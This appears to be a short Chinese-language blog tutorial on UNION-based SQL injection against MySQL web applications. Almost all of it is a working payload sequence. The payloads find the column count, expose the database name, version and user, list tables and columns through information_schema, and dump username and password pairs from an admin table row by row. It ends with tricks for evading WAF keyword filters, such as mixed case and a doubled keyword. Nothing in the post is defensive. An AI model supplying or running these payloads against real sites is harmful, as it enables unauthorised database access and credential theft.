標籤:包含 技術分享 roo sel orm color mat word 意思
mysql的聯集查詢原理就是對mysql內建的系統資料表進行查詢,因為系統資料表包含了所有資料庫的屬性。沒有access表猜不出表名列名暴力破解的尷尬。
是我針對mysql的聯集查詢,畫的系統資料表(系統資料庫)的結構
以查詢test資料庫為例:
1.判斷列數
union select 1,2,3,.......... 直到頁面返回正常為止
2.判斷當前資料庫
union select database(),2,3,4,5 1的位置將會返回資料庫的名字
資料庫名 database()
資料庫版本 version()
資料庫使用者 user()
作業系統 @@version_compile_os
3.查詢表名
union select group_concat(table_name),2,3,4,5,6 from information_schema.tables where table_schema=‘test‘
//group_concat()使多行資料在一列顯示
4.查詢列名
union select group_concat(column_name),2,3,4,5,6 from information_schema.columns where table_name=‘admin‘
5.查資料 (0x20是空格的意思)
方法一:
union select group_concat(username,0x20,password),2,3,4,5 from test.admin //將所有資料在一行顯示
方法二
union select concat(username,0x20,password),2,3,4,5,6 from one.admin //因為網頁限制只能顯示一行資料,所以顯示第一行資料
union select concat(username,0x20,password),2,3,4,5,6 from one.admin where username not in (‘root‘) //把第一行的使用者排除掉,第二行自動上來
union select concat(username,0x20,password),2,3,4,5,6 from one.admin where username not in (‘admin‘,‘root‘) //看第三行資料
簡單繞過waf思路:
大小寫繞過
ununionion 因為會過濾關鍵詞union,所以這樣寫過濾後,前面un和後面的ion又拼成了一個新的union
sql注入之mysql的聯集查詢爆破